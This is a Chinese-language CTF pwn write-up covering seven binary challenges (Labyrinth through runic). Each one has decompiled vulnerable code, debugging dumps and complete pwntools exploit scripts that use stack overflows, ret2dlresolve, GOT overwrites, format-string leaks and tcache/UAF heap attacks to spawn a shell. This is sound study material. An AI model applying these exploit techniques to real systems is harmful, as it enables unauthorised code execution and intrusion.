1-3题略
4 Labyrinth
在输入69或者069的时候会有个gets溢出,然后有个后门函数escape_plan输出flag
fgets(s, 5, stdin);
if ( !strncmp(s, "69", 2uLL) || !strncmp(s, "069", 3uLL) )
{
fwrite(
"\n"
"You are heading to open the door but you suddenly see something on the wall:\n"
"\n"
"\"Fly like a bird and be free!\"\n"
"\n"
"Would you like to change the door you chose?\n"
"\n"
">> ",
1uLL,
0xA0uLL,
_bss_start);
fgets(v4, 0x44, stdin);
}
from pwn import *
#p = process('./labyrinth')
p = remote('142.93.38.14', 30517)
context(arch='amd64', log_level='debug')
p.sendlineafter(b'>>', b'069')
p.sendafter(b'\n>> ', b'\x00'*0x30+p64(0x404800)+p64(0x4012b0)+b'\x00'*4)
for i in range(20):
print(p.recvline())
p.interactive()
5 Pandora's Box
跟上题相似,选2时有个fgets溢出,但没有后门,先puts(got.puts)再system(bin/sh)
num = read_num(
"This is one of Pandora's mythical boxes!\n"
"\n"
"Will you open it or Return it to the Library for analysis?\n"
"\n"
"1. Open.\n"
"2. Return.\n"
"\n"
">> ",
1LL,
v0,
v1);
if ( num != 2 )
{
fprintf(_bss_start, "%s\nWHAT HAVE YOU DONE?! WE ARE DOOMED!\n\n", "\x1B[1;31m");
exit(1312);
}
fwrite("\nInsert location of the library: ", 1uLL, 0x21uLL, _bss_start);
fgets(s, 256, stdin);
return fwrite(
"\nWe will deliver the mythical box to the Library for analysis, thank you!\n\n",
1uLL,
0x4BuLL,
_bss_start);
}
from pwn import *
#p = process('./pb')
p = remote('139.59.173.68', 31508)
context(arch='amd64', log_level='debug')
elf = ELF('./pb')
libc = ELF('./glibc/libc.so.6')
pop_rdi = 0x000000000040142b # pop rdi ; ret
p.sendlineafter(b'>>', b'2')
p.sendlineafter(b"\nInsert location of the library: ", b'\x00'*0x30+flat(0x404800, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['box']))
p.recvuntil(b"thank you!\n\n")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
print(hex(libc.address))
p.sendlineafter(b'>>', b'2')
p.sendlineafter(b"\nInsert location of the library: ", b'\x00'*0x38+flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']))
p.interactive()
6 Void
前5题白送的,从6题开始就比较麻烦了.
这个题目比较简单
ssize_t vuln()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF
return read(0, buf, 0xC8uLL);
}
有个栈溢出,但由于没有puts函数,也就得不到输出,记得强网杯有一题no_output跟这个类似.是用伪造got表的方式实现,虽然伪造got表打比较麻烦但pwntools有现成的工具Ret2dlresolvePayload,可以直接使用工具
from pwn import *
#p = process('./void')
p = remote('206.189.112.129', 32140)
context(arch='amd64', log_level='debug')
#gdb.attach(p, 'b*0x401140')
elf = ELF('./void')
libc = ELF('./glibc/libc.so.6')
rop = ROP('./void')
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dl.data_addr)
rop.ret2dlresolve(dl)
rop_content = rop.chain()
payload = b'E'*0x40 + p64(0) + rop_content
payload = payload.ljust(0xc8, b'\x00')
payload += dl.payload
p.send(payload)
p.interactive()
7 Kana
这题一开始没弄明白,c++写的东西,反编译后很长很乱,后来看了个wp,原来漏洞在menu里,这种情况不多见啊.
看上去是个堆题但只有4有用,会把名字重写一下
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // ebx
char v4[80]; // [rsp+10h] [rbp-B0h] BYREF
char v5[96]; // [rsp+60h] [rbp-60h] BYREF
sub_270A((__int64)v4);
init_3();
while ( 1 )
{
sub_6E56((__int64)v5, (__int64)v4);
v3 = menu((__int64)v5); // 写溢出
sub_6DFC((__int64)v5);
switch ( v3 )
{
case 1:
kata((__int64)v4);
break;
case 2:
hira(v4);
break;
case 3:
alpha(v4);
break;
case 4:
new_kana(v4);
break;
case 5:
exit(0);
default:
continue;
}
}
}
菜单4,重写名字
__int64 __fastcall sub_46FA(__int64 a1)
{
std::operator<<<std::char_traits<char>>(&std::cout, &unk_8124);
return std::operator>><char>(&std::cin, a1 + 48);
}
漏洞,在menu,输入选项时有溢出,溢出到计数器时会发生跳跃
int __fastcall sub_7642(__int64 a1)
{
__int64 v1; // rax
__int64 v2; // rbx
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 s[6]; // [rsp+10h] [rbp-70h] BYREF
char v11[44]; // [rsp+40h] [rbp-40h] BYREF
int v12; // [rsp+6Ch] [rbp-14h]
memset(s, 0, sizeof(s));
v12 = 0;
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "------------------------------------------");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
v2 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_819B);
sub_476E((__int64)v11, a1);
v3 = std::operator<<<char>(v2, v11);
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
std::string::~string(v11);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, " 1 - kata-fy");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, " 2 - hira-fy");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
v6 = std::operator<<<std::char_traits<char>>(&std::cout, " 3 - alpha-fy");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
v7 = std::operator<<<std::char_traits<char>>(&std::cout, " 4 - new kana");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
v8 = std::operator<<<std::char_traits<char>>(&std::cout, " 5 - exit");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>(&std::cout, ">> ");
memset(s, 0, sizeof(s));
while ( 1 )
{
read(0, (char *)s + v12, 1uLL);
if ( *((_BYTE *)s + v12) == 10 )
break;
++v12;
}
*((_BYTE *)s + v12) = 0; // off_by_null
return atoi((const char *)s);
}
gdb跟进看下栈情况,向s读入时,当读入到0x5c后会把读入值写到计数器v12上,在这输入数据会发生跳跃,由于这个跳跃,在输入数据里并不是影响到栈内其它位置,所以还可以正常运行.
s的偏移是0x10,在偏移0xd0处是指向name的指针,每次菜单都会输出这个指针指向的name串,所以可以通过这个指针得到堆地址再根据堆地址找到栈地址和libc,
由于输入后会在最后置个0,这样就可以将原指针xx2d50改为xx2d00恰指向一个释放过的堆块,这里存的fd是一个堆里的地址.通过这个地址可以读到堆地址.
gef➤ tel 30
0x00007fff866ad1e0│+0x0000: 0x0000000000000021 ("!"?) ← $rsp
0x00007fff866ad1e8│+0x0008: 0x00007fff866ad2d0 → 0x0000000000000000
0x00007fff866ad1f0│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" ← $rcx
...
0x00007fff866ad2b0│+0x00d0: 0x000055e8026f2d00 → 0x000055ed00000001 <---- ptr:2d50->2d00 leak
0x00007fff866ad2b8│+0x00d8: 0x0000000000000020
...
0x00007fff866ad338│+0x00c8: 0x00007f5f1f04618a → <__libc_start_call_main+122> mov edi, eax
Chunk(addr=0x55e8026f2d00, size=0x50, flags=PREV_INUSE)
[0x000055e8026f2d00 00 00 00 00 ed 55 00 00 50 37 6f 02 e8 55 00 00 .....U..P7o..U..]
Chunk(addr=0x55e8026f2d50, size=0x50, flags=PREV_INUSE)
[0x000055e8026f2d50 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 62 bbbbbbbbbbbbbbbb]
Chunk(addr=0x55e8026f1360, size=0x50, flags=PREV_INUSE)
[0x000055e8026f1360 01 00 00 00 00 00 00 00 88 d2 6a 86 ff 7f 00 00 ..........j.....]
第二步在已经得到堆地址后,将name指针覆盖为-0x23f0,由于c++的程序,大多数数据都存在堆里,这里有个程序存的栈地址
第三步根据栈地址和偏移找到__libc_start_main_ret 得到libc地址,
最后在输入5c后跳到ret位置输入system(bin/sh)
from pwn import *
p = process('./kana')
#p =remote('165.232.98.59', 30915)
context(arch='amd64', log_level='debug')
#libc = ELF('/home/kali/glibc/2.35-0ubuntu3-amd64/libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #2.31
elf = ELF('./kana')
def m4setname():
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'>> ', b'b'*0x20)
gdb.attach(p)
m4setname()
#heap
pay = b'A'*0x5c + b'\xaf' + b'c'*0x10 #overleap ptr->name
p.sendlineafter(b'>> ', pay)
p.recvuntil(b': ')
heap_addr = u64(p.recv(0x10)[8:])
print(f'{heap_addr = :x}')
pay = b'A'*0x5c + b'\xaf' + b'c'*0x10 + p64(heap_addr -0x23f0)+ p32(0x20)
p.sendlineafter(b'>> ', pay)
p.recvuntil(b': ')
stack_addr = u64(p.recv(0x10)[8:])
print(f'{stack_addr = :x}')
pay = b'A'*0x5c + b'\xaf' + b'c'*0x10 + p64(stack_addr + 0xb0)+ p32(0x20)
p.sendlineafter(b'>> ', pay)
p.recvuntil(b': ')
libc.address = u64(p.recv(0x10)[:8]) -0x2718a #- 122 - libc.sym['__libc_start_call_main']
print(f'{libc.address = :x}')
pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\0'))
pay = b'A'*0x5c + b'\x77' + flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym['system'])
p.sendlineafter(b'>> ', pay)
p.interactive()
8 cantrol_room
菜单逻辑,它有两类菜单,1-3要求权限位为1,4-5要求为0,默认值为2
第一个漏洞在user_edit,当输入名字后按n重新输入出memset(s,0,n+1)会多写1位0,当长度为0x100时最后的0会覆盖到权限位,使权限为0
void user_edit()
{
int n; // [rsp+4h] [rbp-Ch]
void *s; // [rsp+8h] [rbp-8h]
puts("<===[ Edit Username ]===>\n");
printf("New username size: ");
n = read_num();
getchar();
if ( *((_QWORD *)curr_user + 33) >= (unsigned __int64)n )
{
s = malloc(n + 1);
if ( !s )
{
log_message(3u, "Please replace the memory catridge.");
exit(-1);
}
memset(s, 0, n + 1);
printf("\nEnter your new username: ");
fgets((char *)s, n, stdin);
*((_BYTE *)s + strcspn((const char *)s, "\n")) = 0;
strncpy(curr_user, (const char *)s, n + 1);
log_message(0, "User updated successfully!\n");
free(s);
}
else
{
log_message(3u, "Can't be larger than the current username.\n");
}
}
第二个漏洞在菜单1,改配置, 偏移num是有符号数未限制下限,造成前越界,并且got表可写.
unsigned __int64 configure_engine()
{
_QWORD *v0; // rcx
__int64 v1; // rdx
int num; // [rsp+Ch] [rbp-24h]
__int64 v4; // [rsp+10h] [rbp-20h] BYREF
__int64 v5; // [rsp+18h] [rbp-18h] BYREF
char s[2]; // [rsp+25h] [rbp-Bh] BYREF
char v7; // [rsp+27h] [rbp-9h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
*(_WORD *)s = 0;
v7 = 0;
if ( *((_DWORD *)curr_user + 64) == 1 )
{
printf("\nEngine number [0-%d]: ", 3LL);
num = read_num();
if ( num <= 3 ) // 输入无限制,可前越界
{
printf("Engine [%d]: \n", (unsigned int)num);
printf("\tThrust: ");
__isoc99_scanf("%ld", &v4);
printf("\tMixture ratio: ");
__isoc99_scanf("%ld", &v5);
}
getchar();
printf("\nDo you want to save the configuration? (y/n) ");
printf("\n> ");
fgets(s, 3, stdin);
s[strcspn(s, "\n")] = 0;
if ( !strcmp(s, "y") )
{
v0 = (_QWORD *)((char *)&engines + 16 * num);
v1 = v5;
*v0 = v4;
v0[1] = v1;
log_message(0, "Engine configuration updated successfully!\n");
}
else
{
log_message(1u, "Engine configuration cancelled.\n");
}
}
else
{
log_message(3u, "Only technicians are allowed to configure the engines");
}
return __readfsqword(0x28u) ^ v8;
}
思路:
向前越界修改got表exit为 user_edit实现循环,改free为printf,制造格式化字符串漏洞泄漏地址,得到libc地址后将free改为system
from pwn import *
binary = './control_room'
#p = process(binary)
p = remote('104.248.169.117', 32164)
context(arch='amd64', log_level='debug', timeout=50)
elf = ELF(binary)
libc = ELF('/home/kali/glibc/2.35-0ubuntu3-amd64/libc.so.6')
def edit_user(msg):
p.sendlineafter(b"New username size: ", str(0x100).encode())
p.sendlineafter(b"\nEnter your new username: ", msg)
menu = b'Option [1-5]: '
def m1cfg(idx,v1,v2):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"\nEngine number [0-3]: ", str(idx).encode())
p.sendlineafter(b"Thrust: ", str(v1).encode())
p.sendlineafter(b"Mixture ratio: ", str(v2).encode())
p.sendlineafter(b'> ', b'y')
def m5role():
p.sendlineafter(menu, b'5')
p.sendlineafter(b"New role: ", b'1')
def go_main():
p.sendlineafter(menu, b'8')
#user register
p.sendafter(b'Enter a username: ', b'A'*0x100)
p.sendlineafter(b'>', b'n')
edit_user(b'A'*0x10) #set user+0x100 = 0
m5role()
m1cfg(-7, elf.sym['user_edit'],0) #exit->user_edit
m1cfg(-17, 0,elf.plt['printf']-4) #free->printf
go_main()
#gdb.attach(p, 'b*0x401a32')
edit_user(b'START%39$pEND') #6+39
'''
gdb-peda$ stack 40
0000| 0x7ffdd9c86230 --> 0x100d9c86240
0264| 0x7ffdd9c86338 --> 0x7f5298a29e40 (<__libc_start_main+128>: mov r15,QWORD PTR [rip+0x1ef159] # 0x7f5298c18fa0)
'''
p.recvuntil(b'START')
libc.address = int(p.recvuntil(b'END', drop=True), 16) - 128 - libc.sym['__libc_start_main']
m5role()
m1cfg(-17, 0,libc.sym['system']) #free->system
go_main()
edit_user(b'/bin/sh\x00')
p.sendline(b'cat flag.txt')
p.interactive()
9 math door
堆题有3个菜单,add,free和edit,堆块大小固定为0x20,edit可以给当前位置按64位数加
漏洞在free的时候没清指指,有UAF
看似简单的一道题当时没完成,后来看了WP感觉比我想的还麻烦,再试了一下发现当时是tcache.counts溢出报错造成的.
在libc-2.31以后,当从tcache里malloc时,如果counts为0则会报错,分配不到块,低版本不检查,所以在作tcache attack时需要平衡计数.(也很简单,就是提前多释放1块)
思路:
很建一堆块(足够0x440),通过UAF修改指针形成重叠,修改头增加0x420再free到unsort,然后同样通过tcache attack将main_arena修改到_IO_2_1_stdout_修改头和wrtie_end得到libc,然后再改__free_hook ...
from pwn import *
p = process('./math-door')
#p = remote('159.65.94.38', 31488)
context(arch='amd64', log_level='error')
#gdb.attach(p, 'b*0x401140')
elf = ELF('./math-door')
libc = ELF('./libc.so.6')
menu = b'Action: \n'
mask = (1<<64)-1
def add():
p.sendlineafter(menu, b'1')
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b'Hieroglyph index:', str(idx).encode())
def edit(idx, pay):
p.sendlineafter(menu, b'3')
p.sendlineafter(b'Hieroglyph index:', str(idx).encode())
p.sendafter(b'Value to add to hieroglyph:', pay)
#0x441
for i in range(40):
add()
free(0)
free(10)
edit(10, flat(0x10,0,0)) # 10->#0+0x10
add() #40
add() #41 -- 0 41 1
edit(41, flat(0,0x21,0))
free(11)
free(1)
edit(41, flat(0, 0x420,0))
free(1)
edit(1, flat(0xac0,0,0)) # tcache:1->_IO_2_1_stdout
add()
add() #43 stdout
edit(43, flat(0x452ef79)) #_IO_2_1_stdout_._flags_:0xfbad2887 -> 0x00001800
menu = menu[:-1]
edit(1, flat(0x28,0,0)) # tcache:1->_IO_2_1_stdout+0x20
free(12)
free(13)
free(14)
edit(14, flat(-0x180&mask)) #14->1->_IO_2_1_stdout+0x20 0x00007fb6e0224723->0x00007fb6e0224700
add()
add()
add() #46
edit(46, flat(5+8,0,0))
'''
0x7efc191516a0 <_IO_2_1_stdout_>: 0x0000000100001800 0x00007efc19151723
0x7efc191516b0 <_IO_2_1_stdout_+16>: 0x00007efc19151723 0x00007efc19151723
0x7efc191516c0 <_IO_2_1_stdout_+32>: 0x00007efc19151723 0x00007efc19151724 24->54 write 0x7efc19151723->0x7efc19151730
0x7efc191516d0 <_IO_2_1_stdout_+48>: 0x00007efc19151724 0x00007efc19151723
0x7efc191516e0 <_IO_2_1_stdout_+64>: 0x00007efc19151724 0x0000000000000000
0x7efc191516f0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7efc19151700 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007efc19150980
0x7efc19151710 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7efc19151720 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007efc191527e0
0x7efc19151730 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
'''
p.recv(5) #00000000 0a 00 00 00 00 e0 87 76 38 4c 7f 00 00
libc.address = u64(p.recv(8)) - 0x1ee7e0 #_IO_stdfile_1_lock
print(f'{libc.address = :x}')
free(15)
free(16)
free(17) #17->16->15
edit(17, flat(-0x1e0&mask,0,0)) #17->1->stdout+0x28
edit(1, flat(0x1780,0,0)) #17->1->__free_hook
add()
add()
add() #49
edit(49, flat(libc.sym['system']))
edit(0, b'/bin/sh\x00')
free(0)
p.interactive()
注:_IO_2_1_stdout_+0x20处两个指针write.start,write.end为xx23和xx24也就是输出xx23到xx24的\x0a就是个回车,把end加大会输出后边的一个libc地址
WP上是先控制tcache.counts将a0的块计数改为7再重叠块将一个头改为0xa1释放到unsort,如果块有限制的话就得用这个方法,不过这个题给的数量足够大,可以省点事.
10 runic
这题没弄出来,后来看WP,复现
1,这个libc是非标的,禁用了__free_hook
2,估计版本不小于2.32,堆地址有异或加密
3,一般来说strcpy会在最后带一个0造成溢出,但这个strcpy没有带0
漏洞点在edit
unsigned __int64 edit()
{
int v0; // eax
const void *v1; // rbx
int v2; // eax
int v3; // eax
int v4; // eax
char *dest; // [rsp+0h] [rbp-30h]
__int64 buf; // [rsp+8h] [rbp-28h] BYREF
char src[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v9; // [rsp+18h] [rbp-18h]
v9 = __readfsqword(0x28u);
buf = 0LL;
*(_QWORD *)src = 0LL;
puts("Rune name: ");
read(0, &buf, 8uLL);
dest = *(char **)(MainTable[(unsigned int)hash((__int64)&buf)] + 8LL);// MainTable[]->item[idx,ptr,size]
if ( dest )
{
puts("New name: ");
read(0, src, 8uLL);
if ( *(_QWORD *)(MainTable[(unsigned int)hash((__int64)src)] + 8LL) )
{
puts("That rune name is already in use!");
}
else
{
v0 = hash((__int64)src);
strcpy((char *)MainTable[v0], src);
v1 = (const void *)(MainTable[(unsigned int)hash((__int64)&buf)] + 8LL);
v2 = hash((__int64)src);
memcpy((void *)(MainTable[v2] + 8LL), v1, 0xCuLL);
strcpy(dest, src); // 复制旧块name到新块,当str中含0如b'a\0b'时会被截断只复制'a'
v3 = hash((__int64)&buf);
memset((void *)MainTable[v3], 0, 0x14uLL);
puts("Rune contents: ");
v4 = hash((__int64)dest);
read(0, dest + 8, *(unsigned int *)(MainTable[v4] + 16LL));// 复制旧块指针,覆盖data
}
}
else
{
puts("There's no rune with that name!");
}
return __readfsqword(0x28u) ^ v9;
}
其实漏洞还是在strcpy上,题目建块的id是用hash函数生成的,这个函数将8字节各位数字相加再取后6位作为id,但是在edit里strcpy复制后作为写入长度的id,但是strcpy会因为遇0截断,造成成此id不是彼id,
漏洞利用,先弄个大块id是0再edit时输入b'\x00'+原串这样strcpy后为\0也就会使用0块的长度来读入,形成溢出.
思路:
先弄一大堆(最大0x70的块能直接释放到至少10个块),edit造写溢出改size为0x461释放到unsort
然后把main_arena挤到一个块上show出libc,由于堆有加密还需要堆地址方法相同
没有__free_hook是个大麻烦,从WP上看到打got表,strlen改system,这个原来没弄过,重点记下
p.readrepeat(1)这句没用过,不用还不行,但必需用
from pwn import *
binary = './runic'
p = process(binary)
#p = remote('159.65.81.51', 31393)
context(arch='amd64', log_level='debug')
elf = ELF(binary)
libc = ELF('./libc.so.6')
menu = b'Action: \n'
def add(idx, size, msg):
p.sendlineafter(menu, b'1')
p.sendafter(b"Rune name: \n", p64(idx))
p.sendlineafter(b"Rune length: \n", str(size).encode())
p.sendafter(b"Rune contents: \n", msg)
def free(idx):
p.sendlineafter(menu, b'2')
p.sendafter(b"Rune name: \n", p64(idx))
def edit(idx1, idx2, msg):
p.sendlineafter(menu, b'3')
p.sendafter(b"Rune name: \n", p64(idx1))
p.sendafter(b"New name: \n", p64(idx2))
p.sendafter(b"Rune contents: \n", msg)
def show(idx):
p.sendlineafter(menu, b'4')
p.sendafter(b"Rune name: \n", p64(idx))
def get_heap_addr(addr):
v1 = addr>>36
v2 = (addr>>24)&0xfff
v3 = (addr>>12)&0xfff
v4 = addr&0xfff
v2 ^= v1
v3 ^= v2
v4 ^= v3
return (v1<<36) + (v2<<24) + (v3<<12) + v4
#MainTable[]->item[idx,ptr,size]
add(0, 0x30, flat(0,0,0))
add(11, 0x10, b'A')
for i in range(11):
add(i+12, 0x60, b'A')
#获取libc
edit(11, 1<<8, flat(0,0,0x461)) #11->0
free(12)
add(12, 0x60, b'A')
show(13)
p.recvuntil(b"Rune contents:\n\n")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x60 - libc.sym['main_arena']
print(f"{libc.address = :x}")
#获取堆地址(fd加密)
free(16)
free(14)
free(15)
add(14, 0x50,b'A')
add(16, 0x50,b'A'*8)
show(16)
p.recvuntil(b'Rune contents:\n\n'+b'A'*8)
heap_xored = u64(p.recvline()[:-1].ljust(8, b'\x00'))
heap_addr = get_heap_addr(heap_xored) -0xe0
print(f"{heap_addr = :x}")
#写libc. GOT表
free(16)
add(16, 0x50,flat(0x71, (heap_addr>>12)^(libc.address + 0x1f2098 - 0x18))) #<*ABS*@got.plt>
add(u64(b'a'*8), 0x60, b'/bin/sh\x00')
add(24, 0x60, b'/bin/sh\x00')
#wmemcmp,dl_find_dso_for_object,strncpy,strlen->system
add(25, 0x60, flat(libc.address + 0x2c0f0, libc.address+0x17a780, libc.sym['system']))
#show
p.sendline(b'4')
p.readrepeat(1) # importent
p.sendline(b'a'*8)
p.interactive()